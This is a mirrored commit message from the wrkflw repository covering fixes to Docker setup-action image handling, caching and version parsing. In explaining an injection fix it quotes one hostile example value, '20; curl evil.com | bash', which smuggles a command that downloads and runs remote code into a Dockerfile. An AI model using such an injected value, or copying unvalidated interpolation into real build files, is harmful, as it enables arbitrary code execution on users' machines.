mirror of
https://github.com/bahdotsh/wrkflw.git
synced 2026-05-18 05:05:35 +02:00
781bd42b21
* fix(docker): persist setup action images across job steps Reported in #60. When a workflow uses actions like setup-node or setup-php, the Docker image resolved for that action (e.g. node:20-slim, composer:latest) was only used for the action step itself. Every subsequent `run:` step would blissfully fall back to ubuntu:latest, which of course has neither node nor composer. Confusion ensues. It turns out that `execute_job()` computes `runner_image_value` exactly *once* via `get_effective_runner_image()` and never updates it. The action step gets its own image from `prepare_action()`, but that image is completely ignored for subsequent `run:` steps. So your setup-node configures... nothing, as far as run steps care. Fix this by pre-scanning all job steps for known setup actions before the step loop begins. Single setup action? Use its image. Multiple setup actions (e.g. Laravel's PHP + Node.js combo)? Build a combined Dockerfile that installs all required runtimes on the ubuntu base. No setup actions? Nothing changes — fully backward compatible. While at it, skip the pointless pull attempt for locally-built wrkflw-* images (they only exist locally, the 404 from Docker Hub was just noise), and bump the build_image timeout from 2 minutes to 10 — because installing PHP from a PPA inside a Docker build is not a speed demon. Closes #60 * fix(docker): harden setup action runtime detection against injection and waste The setup action detection code was interpolating user-controlled version strings straight into Dockerfile RUN directives with zero validation. So a workflow with node-version: "20; curl evil.com | bash" would happily inject arbitrary commands into the build. This is not great. It also used starts_with() for action name matching, which would match actions/setup-node-legacy or anything else that happened to share the prefix. And every single build generated a UUID-tagged image that was never cleaned up, so you'd accumulate orphaned wrkflw-combined:* images until your disk had opinions about it. While at it, the 2-minute to 10-minute timeout bump was applied to *all* image builds, not just the combined runtime ones that actually need it. And the Go install script hardcoded linux-amd64, which is the kind of thing that works right up until someone runs on ARM. Let's fix all of it: - Validate version strings against [a-zA-Z0-9._-] before use - Use exact equality for action repo matching, not prefix matching - Use deterministic content-based image tags so identical runtime combinations reuse cached images - Deduplicate same-language setup steps (last one wins) - Scope the 10-minute timeout to wrkflw-combined:* builds only - Detect container architecture for Go installs - Add tests for all of the above * fix(docker): fix three correctness bugs in setup action image resolution The previous commit introduced setup action detection, but it had a few problems that would bite people in practice. First, the single-runtime path was returning bare images like node:20-slim or python:3.12-slim directly. These images don't have git installed, which means actions/checkout — typically the *first* step in any workflow — would just fail. Not great. Fix: always build a combined image on top of the runner base (catthehacker/ubuntu:act-latest) even for single-runtime jobs, so git and friends remain available. The SetupRuntime.image field is now dead code, so remove it entirely. Second, the Python install script was cheerfully ignoring the requested version and installing whatever python3 the distro ships. Ask for 3.12, get 3.10. Surprise. Fix: use the deadsnakes PPA to install the specific version requested. Third, PodmanRuntime had no skip-pull guard for locally-built wrkflw-* images, so podman would attempt to pull wrkflw-combined:* from a registry. Add --pull=never for wrkflw-* prefixed images. * refactor(docker): unify setup action registry and fix remaining review issues The previous commits introduced setup action detection, but left a few things in a state that would annoy anyone who looked closely. First, determine_action_image() was still using starts_with() for action matching — the exact same bug that detect_setup_runtimes had already fixed. So "actions/setup-node-legacy" would happily match as a Node.js setup action. Not great. Second, dtolnay/rust-toolchain conventionally encodes the toolchain in the @ref (e.g., @nightly, @1.75.0), not in a with.toolchain key. The old code would silently default to "stable" for anyone using the idiomatic form. Surprise. Third, the repetitive if/else chain in detect_setup_runtimes (seven near-identical blocks) and the parallel match in determine_action_image were two independent copies of the same knowledge, with no compile-time guarantee they'd stay in sync. Adding a new setup action meant editing two places and hoping you remembered both. Fix all of it: - Introduce a single SETUP_ACTIONS const table that both functions consume, eliminating the drift risk entirely - Add version_from_ref support so dtolnay/rust-toolchain@nightly actually produces "nightly" instead of "stable" - Extract generate_combined_dockerfile() and combined_image_tag() as pure testable functions - Merge all install scripts into a single RUN layer instead of N separate apt-get update calls - Include a content hash in image tags so install script changes invalidate cached images even when language/version pairs are the same - Add 15 tests covering all the above * fix(docker): add image caching, stable hashing, and shared constants The combined runtime image code had three problems that were all independently annoying but together made for a lovely trifecta of "why is this slow and also fragile." First, build_combined_runtime_image was *always* rebuilding the Docker image, even when a perfectly good one already existed locally. That means every single job run was creating temp dirs, writing Dockerfiles, tarring contexts, and shipping them to the daemon. For absolutely no reason. Second, the image tag hash used DefaultHasher, which Rust's own docs explicitly say is not stable across versions. So upgrading your Rust toolchain silently invalidates every cached image. Not great when caching is the whole point. Third, the "wrkflw-" and "wrkflw-combined:" prefixes were hardcoded as magic strings in three separate files. Change one, forget the others, and you get to debug why podman is trying to pull a locally-built image from Docker Hub. The fix: add image_exists() to ContainerRuntime so we can skip redundant builds, replace DefaultHasher with FNV-1a for stable cross-version hashing, and extract the prefixes into shared constants. While at it, merge the duplicate apt-get update calls in the generated Dockerfile into a single RUN layer. * fix(docker): fix version_from_ref with SHA pins and normalize .x suffixes The version_from_ref logic for dtolnay/rust-toolchain was happily treating a pinned git SHA (the 40-char hex kind) as a toolchain name. So `dtolnay/rust-toolchain@d4ff7a3c5...` would try to install Rust toolchain "d4ff7a3c5...", which rustup finds *deeply* confusing. Filter out bare SHAs with the existing is_git_sha() check and fall back to the default version instead. While at it, the ".x" suffix that's idiomatic for Node versions (e.g., "16.x") was leaking through to install scripts for every language. Python would try to apt-get install python16.x, which is not a real package and never will be. Normalize the suffix away at extraction time rather than making each install script deal with it independently. Add tests for both cases.